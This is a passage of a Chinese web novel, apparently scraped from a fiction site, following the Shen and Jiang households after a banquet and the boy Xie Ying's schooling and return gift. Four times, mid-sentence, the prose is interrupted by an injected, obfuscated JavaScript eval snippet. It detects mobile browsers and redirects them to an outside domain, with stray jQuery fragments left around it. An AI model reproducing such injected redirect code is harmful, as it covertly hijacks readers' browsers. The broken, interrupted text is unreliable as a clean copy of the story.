沈云如也自知失礼。若没有蒋娇娇那句话，她估计也就将错就错地说自己不舒服先回去了，可现在她若再说，岂不真坐实了她在别人家宴席上撒气离开的话？ 这个蒋大郎，也不知接着他妹子的话来留一留她！她也懊恼自己，作甚要忍不住去问那与自己不相干的事。 还好弟弟沈约给她递了梯子。 于是沈云如便故作镇定地红着脸点了下头：“嗯，我稍站一站。”说完，才又重新慢落了座。 等在蒋家如坐针毡地吃完了饭，沈云如便再没有心情留下去了，蒋修提出大家再玩会角球的时候，她和沈约都告了辞。 *** 回到沈宅，姐弟两个便听说他们的父亲回来了，此时正在书斋里等着沈约去考校功课。 “那我先回福寿堂。”沈云如道，“晚些我再来给爹爹问安。” 沈约点点头，与她道了别，又看了眼跟在姐姐身后不远处的教养妈妈，微低了声音，说道：“婆婆若是问起先前的事，你只当不曾发生过吧。” 沈云如知道他说的是什么，不禁耳根又有些发烫，于喉间低低应了一声：“嗯。” 两人分手后，沈云如才在教养妈妈和贴身女使的陪伴下继续往自己祖母，沈老太太的居处福寿堂行去。 沈老太太正和平常一样在佛堂里抄经书，听闻孙女从蒋家参加完席宴回来了，也并未急着动作，只“嗯”了一声，笔下未停，平声吩咐道：“让黄妈妈来回话吧。” 黄氏便是她派给沈云如的教养妈妈。 黄妈妈很快过来了。 沈老太太一边继续抄着经，一边语气平常地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529263|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“蒋家宴上如何？” “回老太太，宴席倒没有什么，郎娘们说的都是些平常话，谢夫子家那位侄孙我瞧着也是很知书达理的。只是……”黄妈妈微有些迟疑地道，“大姑娘在席上似略有些许不适。” 沈老太太笔下倏停，转头看来：“掌珠怎么了？” 黄妈妈就委婉地把沈云如在宴上行止略有失格的事情说了一遍。 沈老太太听罢，眉头微皱，放下笔接过巾子擦了擦手，然后款步走出了佛堂。 此时的沈云如正在福寿堂的正厅里站着，双手交握于身前，小小的身躯挺得笔直。 随着黄妈妈从她身边离开的时间一点点过去，她感觉心里也禁不住越来越有些发慌。 于是她只好在心中默念：只当无事发生，无事发生…… “掌珠。” 一个平淡微沉的声音从旁边突然传来，沈云如几乎是下意识地手上一紧，然后立刻循声转而望去。 “婆婆，”她低头礼道，“我回来了。” 沈老太太慢步走到榻前坐了下来，瞧着她打量了半晌，方又开口说道：“你们姐弟去赴宴可还顺利？” 沈云如低眸道：“席上一切都好，大家都很欢迎谢元郎搬来巷中。” 沈老太太微微点了点头，沉吟须臾，又缓缓说道：“你自小便养在我这里，可还记得婆婆打小是如何教你的？” 沈云如心里发慌，终是没能稳住，于是立刻低低埋下了头，坦白道：“孙女不小心在蒋家宴上失了仪，引得旁人笑话，孙女知错了。” 沈老太太看着她，俄顷，轻轻叹了口气。 “你年纪尚小，偶有失误其实本不是什么大事。”沈老太太缓道，“今日你唯错之处，只在不够沉稳。令旁人看着好笑的，也不过是你的慌张罢了——此一点，你须得牢牢记住。” 沈云如脸涨得通红，只觉自己恨不得钻到地缝里去，低着头应道：“是。” “先去偏室抄一个时辰经，静一静心再歇息吧。”沈老太太语气如常地说道。 沈云如恭顺应下，转身去了偏室。 沈老太太闭上眼睛，不知在想什么，过了片刻，忽沉沉说道：“明日你让人也给那蒋四娘子的未来夫家下个请帖吧。” 旁边的童妈妈闻言微感意外，老太太不是一贯不爱与这些商户打交道么？便是请的蒋家等几个已算是勉为其难了。 沈老太太睁开眼，无甚表情地看着眼前的雕屏，淡淡说道：“我倒想看看，在那些人眼里蒋家的姑娘又有多少规矩。” 童妈妈跟随她多年，很快便明白了老太太的意思，即道：“那蒋家不过商户，岂能与咱们沈家的积淀相提并论。” 沈老太太轻轻一笑，说道：“今时不比往日，如今这世道当真是世风日下，交游不论出身，岂有先辈风骨。”又微蹙了眉，冷淡地道，“一巷近邻，旁的不得不为世所易也就罢了，但掌珠总不能给他蒋家的女儿做衬托。” “且等着看吧，”她说，“谁才是当被笑话的那个。” 8. 请托 席后不久，谢暎便也从蒋家告了辞。 走出大门的时候，他于阶前缓下脚步停驻，迎着夜风看着眼前沉沉穹幕下的照金巷，不禁忽有几分恍惚。 他有些诧异于此处夜晚的明亮，檐下那一盏盏灯笼好像燃的并不是烛，而是天上的星星，那么多，那么亮，仿佛一直通到远处的巷口，与那里的繁华灯火相接，要引着人去往另一个地方。 好像是娘亲曾说过的那个地方。 那个很好、很热闹，能让她和爹爹过得很好，也能看着他过得很好的地方。 但他不知道自己能不能过得好，未来太长了，日子那么慢，他很怕也许哪一天就再坚持不下去了。 如果时间能走得快些就好了。至少，这辈子就能过得快一点吧。 他漫无边际地想着，也不知盯着那些灯火看了多久，直到觉得眼睛有点发酸才回过神来，于是抬手揉了揉，然后深吸一口气，方转身往巷子深处走去。 谢家的小院里也点起了灯笼。谢暎远远就已看见了，昏白昏白的，许是灯笼不够防风的缘故，此时那几盏寥落的灯影正在随着轻风阵阵晃悠，好像随时都有可能熄灭。 谢暎就着蒋家一路延伸至隔墙的灯火，还有不远处姚家门前灯笼的照明，倒也几能把眼前路看个清楚，顺利走回了小院门前，伸手于半昏半亮中推开了虚掩的竹扉。 谁知刚一进来，他便看见了正扶着腰略显艰难地要从地上爬起来的谢夫子。 “……叔祖？”谢暎立刻反应过来，随即忙跑上前帮忙把人给扶了起来。 “哎哟哟哟，慢、慢点儿。”谢夫子嘴上哼哼着，手里头也忙，一手忍不住背着谢暎的目光偷偷揉被摔了的屁股，一手又不得不撑着他，全来不及管头上歪了半边的冠。 谢暎小心地扶着他到了近前的懒架上坐着，然后回过头，看见掉在地上那盏已经烧了大半的灯笼，顿了顿，走过去将尚完好的提竿捡了起来。 谢夫子已索性把头上的冠给摘了，正兀自躺着在缓气儿，见谢暎把提竿捡过来了，便呵呵干笑了一声，说道：“我原想出门转转，谁知不小心脚下打了滑。这人嘛，难免有失手的时候，你须得答应我，此事不准告诉你那几个新朋友，尤其是那个蒋家的小丫头，免得让她幸灾乐祸。” 谢暎想起自己回来时已然半掩的院门，还有从叔祖头朝内的摔倒方向，心中不免有几分疑惑，但因他自觉不便打听，所以也就顺着对方的说辞都听了，只点点头，顺手将提竿放在一旁，说道：“我陪您去看看大夫吧？” 谢夫子摆摆手：“用不着，我还不至于到那磕碰不得的年纪。”一边又暗暗揉了揉屁股。 谢暎便不再说什么，只道：“那我去烧些水。” “灶上有热的。”谢夫子道，“你先别忙，坐着我与你说会儿话。” 谢暎应下，然后端过旁边的竹椅坐了下来。 谢夫子沉吟了片刻，看着他，说道：“我虽教过些孩子，但却从不曾像现在这样要朝夕相处，也不晓得你长途而来此时心里头在想些什么，所以关于你自己的事，我寻思着还是要同你先说说，你自己有什么想法便说出来，咱们也好合计合计。” 谢暎怔了怔。 谢夫子有些不大自然地清了清嗓子，若无其事地续道：“我嘛，原想的是这两天就去把你入学的事给办了，想让你和蒋家大郎还有沈主簿家的二公子他们都在一处，彼此有个照应。但不知你今夜与他们相处过后，自己有什么想法？” 谢暎放在腿上的双手微微紧了紧，良久，才低着头说道：“他们人都很好，只是……”他顿了几息，抬眸朝对方看去，“叔祖，我，明年一月时再去可以么？” 谢夫子很快便明白了他的意思，当即皱了眉道：“你这孩子可真会气人，那学费才几个钱？我一个做长辈的难不成还非得逼着你拿季资出来才肯送你去读书？往常其他人是怎么养你的我不管，反正我丢不起这脸！” 谢暎顿感有些无措，忙起身恭正地道：“我不是这个意思……我是想，想着先把人家送的人情给还了，也免得您替我欠着，只是这样一来，这一季的资用恐怕就有些短缺，家里也要开支……” “哎行行行——”谢夫子不耐地挥手打断了他，没好气地说道，“说来说去，你这不都是盘算着要拿自己那点子季资来补贴家用么？我同你说，咱家庙小，我一个人养活绰绰有余，用不着你个小娃娃操心惦记的。等我把你入学的事办好了你就赶紧去上课，就这么定了。” 说罢，他便撑着站起了身，头也不回地挺着背回了屋。 谢暎站在原地看着他走路时略显僵直的背影，良久，返身进到屋中，从随身的衣箱底下翻出来一个略显粗旧的锦囊，从中取出十几枚钱装到了身上的茄袋里，然后微顿，略忖了几息，又将囊中剩下的留出几枚后，再将其余的都装进了茄袋。 末了，他方又小心地把锦囊放回了箱底。 *** 次日清早，谢夫子便趁着到蒋家授课的时候，提前先去拜访了蒋世泽。 彼时蒋娇娇正和家里其他人一道陪着她祖母在用早饭，乍听见谢夫子来找她爹爹单独说话，她不由地心中警铃大作。 “蒋娇娇，”蒋修也颇幸灾乐祸地瞧着她，“你是不是又惹夫子生气了？” 她立刻委屈地反驳：“没有啊。”说罢朝她娘望了过去，“我昨天还给谢夫子送了礼的。” 蒋修好像也想起来还有这么回事，便又改了口道：“那谢夫子也太不厚道了。” “修儿。”金大娘子颦眉提醒地道，“不可对长辈无礼，况谢夫子还是娇娇的老师。” 蒋修面上老实“哦”了一声，心里却想：厚不厚道与是不是长辈有什么关系？ 蒋黎笑着随口安抚道：“你们也别乱猜了，兴许人家谢夫子找你们爹爹是有别的事要说。” 金大娘子颔首，伸筷给女儿又夹了个虾鱼包儿放到碗里，示意她安心吃。 蒋娇娇还是有点忐忑，毕竟自己昨天才刚挨了藤条，虽只被打了两下，也没疼上多久，但此时毕竟“余威犹在”，她实不想再经历一次。 蒋老太太呵呵笑着开了口：“娇娇别怕，待会你爹爹若要教训你，你便往婆婆这里钻。” 蒋娇娇立刻点头。 金大娘子无奈又好笑地无声弯了弯唇角。 蒋修吃完了饭便准备要出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529264|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门去上学，正辞别长辈要离开的时候，蒋世泽回来了。 蒋娇娇立刻下意识地往她爹脸上看去，当发现对方神色如常，依然保持着先前离开时的愉悦——甚至好像比先前还要愉悦了一点点时，她顿时放了心。 “谢夫子过来是有什么事么？”金大娘子开口先问道。 蒋世泽笑看着妻子说道：“没什么，是为他那侄孙入学念书的事，我已答应了帮忙。”说罢，转而又对正好站在旁边的儿子嘱咐道，“往后谢元郎会常来咱们家与你一道温习功课，外间书室里头我已吩咐人去准备布置了，你自己再去瞧瞧有没有什么要改动的。” 蒋修愣了一下，随即顿感高兴，于是下意识回头想跟妹妹分享下喜悦—— 然后他就看见蒋娇娇正满嘴油地叼着半个包儿，一脸呆愣的样子。 蒋修顿时无语。 “那敢情好，”蒋黎也高兴地道，“往后修哥就有学伴了。” 蒋世泽笑着点点头：“我也是这么想的，昨日里我原瞧着那谢家小郎就是个不错的孩子，小小年纪可比我们家这两个懂事得多，况我听明照兄说原先谢小郎那个举人爹爹还在世时便是一直亲自带着这孩子读书的，打小便如他父亲那般聪慧。我想着既是近邻，岂不正好带着修儿上进？便主动提了这事。” 蒋修听着就不大乐意了，反驳道：“怎地不能是我带他上进？若学成个书呆子也没有什么意思。” 蒋世泽轻笑地看了他一眼：“学成你个好似要天天上房揭瓦的样子就有意思？” 蒋修正欲再驳嘴，金大娘子忽然轻轻咳了两声，父子两个顿时双双停住，转头朝她看了过来。 金大娘子不急不慢地浅浅一笑，说道：“这是好事。” 蒋世泽含笑颔首。 蒋修撇了撇嘴，虽心里也高兴多了个陪伴，但又不想顺着父亲的话说，于是便喊了声他妹：“蒋娇娇，你嘴里油滴下来了。” 其他人不由纷纷转头朝蒋娇娇看去，蒋修则一转身“潇洒”地走了。 蒋黎这才发现先前还忐忑地好似食不知味的侄女不知什么时候已是又吃得这般有滋有味，顿时笑出了声，调侃道：“你这会子不怕谢夫子来告你状了啊？” 蒋世泽莫名道：“告什么状？” 蒋娇娇嘴里的食物还没咽下去，只能连连摇头。 蒋老太太乐呵呵地笑着，一边慈爱地帮孙女擦着嘴，一边代替回答道：“没什么，娇娇以为谢夫子收了她的礼还反过来说她不好，正委屈着呢。” 蒋世泽看着女儿鼓鼓的腮帮子，默然了一息，忍笑道：“我瞧着不太像呢。” 说罢，几个大人对视一眼，不由纷纷失笑。 蒋娇娇好不容易能说话了，便立刻从凳子上起来，蹭蹭蹭地跑到了她爹爹身边，双眼发亮地问道：“爹爹，谢暎真地要来我们家和大哥哥作学伴么？” 蒋世泽宠爱地将她搂在怀里，笑道：“来啊。不过你可不许有事没事就去打扰你大哥哥他们念书，若遭了人家的烦，往后别人便是有空也不肯陪你玩了。” 蒋娇娇一边乖乖点头，一边在她爹看不到的地方往他衣服上揩了揩手，然后方乐颠颠地笑了。 9. 孩子 从老太太那里出来后，金大娘子便陪着丈夫回了房换衣服。 “这个娇娇，”蒋世泽看着衣服上后腰位置的些许油渍，好笑地道，“是在报复我昨天打了她手板心呢。鬼精的丫头，吃不得半点亏。” 金大娘子笑着将换下的衣服递给了女使，一边帮他穿着另备的新衣，一边说道：“回头我会好好管束她，她也快七岁了，如此娇惯下去也确实不太好。” 蒋世泽心里头虽喜欢女儿这样的俏皮，但理性上却也同意妻子的意思，于是随意点了点头，说道：“也不必管得太严苛，这孩子最讨人喜欢的地方便是这股子天真黠慧，只束一束脾气就好了，似昨天那样犯起浑来伤着大郎的事不可再有。将来她若嫁了一般人还好说，说不准咱们给她找了个前程远大的夫婿呢？她这样彪悍却是要贻笑大方了。” 说完，他又想到什么，不由一笑，伸手轻捏了捏妻子的下巴，戏谑道：“不过以你这般柔婉似水的性子，定也是舍不得多么严苛的。” 金大娘子猝不及防被他调戏了个正着，面上倏地一红，侧过脸避开他的手，视线下意识飞快向四周扫去，然后局促地转开了话题：“阿姑前日里说要去渠县的事，你可想好了？” 蒋世泽还是不管不顾地凑过来在她脸上亲了一下，末了，低声轻笑道：“你啊，什么都好，都是太爱害羞了些。” 金大娘子红着脸没说话。 “这事啊，不急。”蒋世泽伸手接过裹肚自己穿起来，边说道，“等明年春天的时候吧，索性让苗家人来一趟汴京，公私两话便一起谈了。” 金大娘子听着也觉得挺好：“两位老太太见了面必定很高兴。” 两人正说着话，忽听得屋外传来了似有人在争执的声音，于是对视一眼后，便先后走了出去。 金大娘子跨出门来便看见了康氏屋里的女使，翠涛。 她不由微感意外，还未回过神，翠涛已朝着她所站的方向礼道：“见过大娘子。”言罢微顿，又唤道，“老爷。” 金大娘子转过头，看见了方步出房门的蒋世泽。 “什么事？”她问站在翠涛面前的珠蕊。 珠蕊难掩眸中的勉强之色，不甚欢迎地看了眼翠涛，又顿了顿，才说道：“大娘子，翠涛说有事要禀，我说大娘子正在服侍老爷更衣，劝她稍等片刻，但她急得很。” 蒋世泽闻言，便有些不悦地皱眉朝翠涛看去。 翠涛立刻道：“禀大娘子，康娘子今晨起来便一直觉得不适，呕心想吐，早饭也粒米未进。”说着，又小心地抬眸朝蒋世泽看了眼，续道，“娘子这月的信期本就迟了些，怕是有什么不妥，所以想请大娘子找个大夫来看看才好。” 她这话一出，院子里所有人都愣了。 蒋世泽回过神后便是一喜，忙对金大娘子说了句：“找人去怀安堂。”话音未落，人已大步朝院外行去。 翠涛见机识相地向金大娘子行了一礼，然后亦转身快步跟了上去。 金大娘子站在原地静默了两息，转过头吩咐珠蕊道：“去吧，照例行事便是。”又对王妈妈道，“我们也去探望一下。” 王妈妈即应声随她而去。 珠蕊看着自家大娘子离开的背影，不由懊恼地叹了口气。 *** 蒋娇娇觉得今日这堂课乃是到现在为止上得最舒心的一回，虽然谢夫子该给她留的课业一样不少，对她也同前日一样提着张脸不带半分温柔——甚至于坐着的时候还不时翘着胡子咧个嘴角，但她还是觉得谢夫子瞧着比前日顺眼了许多，以至于她高兴了一整堂课。 上完课后她便兴冲冲地去了她祖母那里，打算午饭前先蹭几口点心。 一进门，她就看见小姑姑蒋黎也正陪在老太太身边，这本不是什么稀罕事，但蒋娇娇却敏感地察觉到了屋子里略有几分微妙的气氛。 好像说不上是不好，但也说不上是好。 特别是婆婆脸上明明还挂着些笑容，可为什么看上去也不像是很高兴的样子？她不免有几分迷糊。 蒋老太太看见她便笑弯了眉眼，招手道：“娇娇快来。” 蒋娇娇就高高兴兴地跑过去钻到了她祖母怀里，甜甜糯糯地喊了声“婆婆”，把蒋老太太哄地直呼“心肝”，吩咐着人便将先准备好的软酪给她拿了上来。 蒋黎失笑，劝道：“娘，您别太惯着娇娇，眼见着她就快到抽条的时候了，吃胖了不好。” 蒋老太太道：“哎呀，我心里有数。”说着颇不以为意，“你小时候还不是我这么养的，照样出落得亭亭玉立。娇娇正长身体呢，多吃点也没有什么。” 蒋黎无奈道：“我那时候哪有她现在享受的好，况我自己那会儿已管得住嘴，可就怕她不行。” 蒋老太太只呵呵笑着，不置可否。蒋娇娇看了看她小姑，自觉懂事地拿了个软酪凑上去喂到了蒋黎嘴边，说道：“小姑，你帮我吃一点，我就不吃多了。” 老太太突地笑出了声，蒋黎亦是忍俊不禁，伸手捏了下侄女的脸蛋，说道：“你倒机灵，想我陪着你胖呢。” 话虽如此说着，她还是笑着咬过了蒋娇娇手里的软酪。 蒋老太太笑着看了会儿她们，略一沉吟，唤了蒋娇娇回怀里抱着，温声道：“你明年又要多一个弟妹了，这些日子你若碰见你康少母，记得小心些别冲撞着她。” 蒋娇娇愣了愣。 蒋黎不免有些担心地朝她看去。 康氏这虽然已是第二胎，但因她生头一个的时候蒋娇娇也不过才两三岁，不像现在，已是个有更多自己想法和性格的孩子。蒋黎不知道她这次会不会有什么情绪，毕竟这件事连自己听来也没有多少由衷的喜悦。 结果蒋娇娇回过神后只是点了点头，很平静地应了声：“哦。” 蒋老太太爱怜地摸了摸她的头。 蒋黎打量了她半晌，问道：“你高兴不？” 蒋娇娇觉得这件事好像跟自己没什么太大关系，她原就有个哥哥和弟弟，现下再多个弟弟或者妹妹，也不过就是以后家里多个人能一起玩——不对，这个太小了，肯定跟她都没办法玩到一起。 那她就更没什么感觉了。 蒋黎一看她的表情就知道这孩子还懵懂着，不免感觉自己想得有点太多，于是又笑了一笑，说道：“以后你们要好好相处。”又道，“你娘亲才是最重要的。” 这个蒋娇娇倒是很肯定地点了点头。 祖孙三人正说着闲话，老太太身边的女使芙蓉走了进来，禀报道：“柳大娘子回来了。” 蒋老太太一听，忙道：“快让她们娘俩过来。”又吩咐身边的谈妈妈，“去跟厨房说，中午做个慧娘喜欢吃的酥骨鱼来。” 谈妈妈笑着应喏。 很快，一个桃李年华的妇人便由芙蓉前导着走了进来。只见她穿着身紫色的褙子，腰系水粉旋裙，螺髻上插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529265|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着钗头燕盈盈欲飞，衬着眉间鸦黄，不由地教人眼前一亮。 “三嫂嫂，”蒋黎笑着迎了上去，“长途归来不见半分疲态，你今天好生漂亮啊。” 蒋娇娇也乖乖唤了声：“三婶婶。” “娇娇又长大了些。”柳大娘子柔柔回罢，又对蒋黎含蓄地笑道，“妹妹莫要笑话我了，你才是真正光彩照人。”然后面向蒋老太太端端福了一礼，唤道，“阿姑，我回来了。” 言罢，她伸手牵过正乖乖由乳母拉着站在身边的小男孩，温声道：“三郎，快拜见婆婆。” 小小的孩童便向着面前的人奶声奶气唤道：“拜见婆婆。” 蒋老太太自见着这对母子进来时起便已是忍不住眼含热泪，此时更不由自主地有些哽咽。 “好，好……”蒋老太太俯身将他抱起，连说了几个好字才终于顺下了胸中激荡的情绪，又擦了擦眼角，方又对柳大娘子笑道，“你们母子俩回来得可巧，娇娇正在我这里蹭饭呢，我再让人去把莲华叫过来，中午咱们大家一起都吃顿好的，就当给你们接风了。” 柳大娘子微笑着应了声是。 蒋黎见状，便寻机带着蒋娇娇一起去了偏室。 “小姑，我们为什么不和婆婆还有三婶一起说话啊？”蒋娇娇有些不解，“还有三弟弟，我好长时间没见到他了，他长大了好多。” 蒋黎微微笑了笑，说道：“先让她们两个都缓一缓心绪，待会咱们再进去陪着说笑便是。” 蒋娇娇似懂非懂地点了点头。 过了会儿，她又想起来什么，问道：“小姑，你是不是不喜欢康少母给我再生个弟妹？” “我？”蒋黎怔了下，然后沉吟片刻，说道，“也不是，我只是有些感同身受而已。” 她也是今天才发觉，以往自己好像就和现在的娇娇差不多，那些很早就存在的事，又或是普遍皆有的事，还有……与她无关的事，因为在过去的日子里充斥得那般自然，所以就令人无甚所觉。 直到现在，她也将要嫁人的时候，便好像忽然后知后觉地明白了那些“习以为常”里的“不自在”。 果然，她便听见蒋娇娇奇怪地道：“你肚子里又没有小娃娃，为何要感同身受？” 蒋黎用一种颇为高深的表情对她笑了笑，说道：“这个嘛，现在同你说了也不懂。” 蒋娇娇很不喜欢别人说她笨，当即驳道：“是你说得不好我才不懂。” “呵，”蒋黎诧异地扬了扬眉，顺手摸了把侄女的脸，赞道，“可以啊蒋娇娇，还挺会说。” 蒋娇娇就骄傲地扬了扬下巴。 蒋黎却又不知该从何说起，想了片刻，才道：“现下我说的话是咱们两个之间的秘密，你回去不能问你娘亲，更不能同你爹爹提起，能做到不？” 蒋娇娇当即爽快保证道：“能。”说完还主动伸出手指来与蒋黎勾了勾，“说出去就是小狗！” 蒋黎满意了，这才问她道：“你知道你有几个祖翁，几个婆婆么？” 蒋娇娇莫名其妙地看着她，一脸“你是不是在耍我”的表情。 蒋黎弯了弯唇角，又续道：“你既知道你祖翁和婆婆都只有一个，那你有没有想过，为何你爹爹却有两个媳妇，你有两个出自不同母亲的兄弟呢？哦，也不全对，说不定以后你爹爹还有更多的媳妇，你也有更多不是你娘亲生的弟妹。” 蒋娇娇望着她，不由地愣住了。 10. 回礼 屋子里安静了片刻。 “不明白了吧？”蒋黎笑了笑，又轻叹了口气，感慨道，“我有时候其实也挺不明白。” “那我爹爹为什么要有两个媳妇？”蒋娇娇仿佛这才后知后觉地有了几分好奇。 蒋黎道：“因为男人很多都这样，像你祖翁这样一辈子只和你婆婆一个人在一起的才很少很少。” 蒋娇娇陷入了迷茫：“为什么很多都要这样？” 蒋黎默然了须臾，用一种不甚明朗的语气说道：“大概，就是祖传的习惯吧。” 蒋娇娇想了想，问道：“那我娘亲也可以有个‘少爹’么？” 蒋黎愣了一下，等反应过来她说的“少爹”是个什么东西的时候，忙伸手来捂住了她的嘴，低声警告道：“这话你可千万别对其他人说，小心挨揍不说，还害了你娘亲。” 蒋娇娇睁大了眼睛，点点头，却还是充满了疑惑。 蒋黎只能对她解释道：“男子和女子是不能相提并论的，便是你爹爹再有十个八个媳妇，你娘亲也只能做他一个人的妻子。” 蒋娇娇顿时就觉得很不公平了。 她拧起了眉头，说道：“那我就不喜欢爹爹了，他欺负娘。” 蒋黎失笑地摸了摸她的头，说道：“傻瓜，哪有那么简单的事。你若真让你娘亲也有个‘少爹’，那你才是害了她，你自己也一样不痛快。”又宽慰地道，“况我也不过是打个比方，你爹爹未必会再有那么多媳妇，毕竟你爹爹最喜欢的还是你们。” 蒋娇娇沉默着没说话，不知在想些什么。 恰此时，老太太那边来人说金大娘子已经到了，请她们过去准备用饭。 蒋黎应下，离开时又低声提醒了侄女一句：“记得我同你说的话，不许让其他人知道咱们说过秘密。” 蒋娇娇顺从地点了点头。 两人回到厅堂的时候，正看见金大娘子在笑着与柳大娘子寒暄近况，蒋娇娇看见她娘亲眉目温柔的模样，突然觉得有些鼻酸，于是蹭蹭跑过去，一头扑进了金大娘子的怀里。 众人不由微诧。 “娇娇这是怎么了？”金大娘子一边回抱住女儿，口中柔声问着，一边抬眸去看蒋黎。 后者立刻摇了摇头表示自己啥都不知道。 蒋老太太看了眼幺女，然后低头喝了口茶。 柳大娘子也关心道：“是不是饿着了？” 金大娘子抚了抚女儿的背，正要询问，却听蒋娇娇在耳边问了句：“娘，你高不高兴？” 金大娘子不明所以，却仍笑道：“高兴啊，娇娇见着你三婶和三弟弟高兴么？” 蒋娇娇盯着母亲的脸看了半晌，似乎确然没有见到什么忧伤的影子，她心中不禁有些疑惑，但又想到小姑的叮嘱，也只能掩饰着点点头回道：“高兴。” 蒋黎见状，忙顺着将话题岔到了柳大娘子身上，笑着说道：“我先前就想说了，三嫂嫂今日这身打扮真好看，像那春日里头的花。” 柳大娘子被她夸得有几分不自在：“都是以前的衣裳了。”她唇边虽携着浅笑，话语间却隐隐流露出了几分怅然。 气氛霎时有些许微妙的凝滞。 蒋老太太呵呵地笑道：“那正好新做几身，你二哥哥才说了过些时候便有一批蜀锦要送来，到时你先挑些。” 金大娘子也笑着接了话：“眼见着也快进寒冬了，正该再做两身夹袄。” 蒋黎便也起哄闹着听者有份。 三言两语的说笑间，众人便将蒋娇娇这看似平平无奇的小插曲给略了过去。 蒋老太太的欢喜堂里一时正热闹着，底下忽又有女使来报，说是谢暎过来了，这会子正在前院等着要见蒋黎。 “见我？”蒋黎不免有些诧异，但又觉得挺新鲜，于是笑着便起了身，“那我去瞧瞧。” 蒋娇娇也很奇怪为什么谢暎头回主动来自己家却要见的是她小姑，明明昨天她还请他吃饭了，可他居然都没有提到她！ “我也去。”她有点不服气，也充满了好奇。 蒋黎本就打算正好借此转移她的注意力，免得这孩子趁自己刚走开就说漏嘴，见状便顺水推舟地应了，心中不由地庆幸这谢家小郎来得可真及时。 姑侄两个从欢喜堂出来就一起直接去了前院的东廊屋。 *** 谢暎正仰着头在看墙上挂着的一幅山水绣画。 听见门口有脚步声，他便转过头，恰看见蒋黎和蒋娇娇两人前后脚一起走了进来。 目光落在蒋娇娇那张看起来不怎么高兴的脸上时，他先是暗舒了口气，心想她果然也跟过来了，如此东西正好能交到她手中。随后见其神色又不免感到疑惑，暗忖难道她并不欢迎看到自己？ 一念及此，他不由地有了几分局促。 “谢小郎觉得这绣画如何？”不过须臾间，蒋黎已热情地同他打起了招呼，又笑问道，“听闻你特意来找我，是有什么事么？” 谢暎向着她礼道：“蒋姑姑，上午我出了趟街，顺路买了两样点心回来。”他说完，转身两步走到茶桌旁，拿起了一挂被捆得方方正正的油纸包，然后递回到了蒋黎面前，恭正地道，“一点回礼，谢谢你们。” 蒋黎于诧异间低头看了眼，瞧见那油纸包上印着熟悉的红色花戳，不由讶道：“你一个人出的街？还专门寻去了霍家从食店？” 谢暎只道：“我也不知你们喜欢哪家点心，听得人家说的，想是应该还可以。” 蒋黎看着他说这番话时一脸平常无事的样子，整颗心都不由得软了。 若是别人来送她这点心，她收了也只当平常，然而此时看着和自家大侄子差不多年纪的谢暎，蒋黎却忽然很想摸一摸他的头。 但她还是忍住了，伸手将点心接了过来，也颇正式地礼道：“那就谢谢你了。”又含笑道，“不过以后再过来就不要带什么东西了，你和修哥还有娇娇是好朋友，不用那么客气。” 谢暎未置可否，只顿了顿，看了眼蒋黎身旁的蒋娇娇，又说了句：“里面是牡丹饼和乳糕。” 蒋娇娇听着，忍不住朝她小姑手上看去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529266|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋黎没想太多，只顺着这话笑道：“那正巧都是娇娇喜欢吃的。” 谢暎见此，心下方微松。昨日吃席的时候他就猜她大约是较偏爱加了乳汁的甜食，还有那形致做得好看的东西。 所以他在霍家从食店门前看了一会儿，最后挑着买了乳糕和这模样惹眼的金银炙焦牡丹饼。 谢暎轻轻点了下头，礼道：“那我就先回去了。” 蒋娇娇其实打从见他是专门来送点心，且又得知他买的还恰好是自己喜欢吃的两样时，心里已经按捺不住有点想先和他说话了，但又觉得自己还生着他不主动来找她玩的气，若巴巴地道谢好像也有点自作多情，似是略丢脸。 她正纠结着，忽见谢暎随手提了茶桌上的另一个纸包打算要走，当即自觉寻到了个开口的由头，问道：“这又是什么？” 谢暎便解释道：“昨日叔祖不……”他话说到此处，突然想起了昨夜谢夫子的交代，于是当即顿住，拐了个弯，将尚未出口的“不小心摔了一跤”及时改道，“不太舒服，我给他带了两贴膏药。” 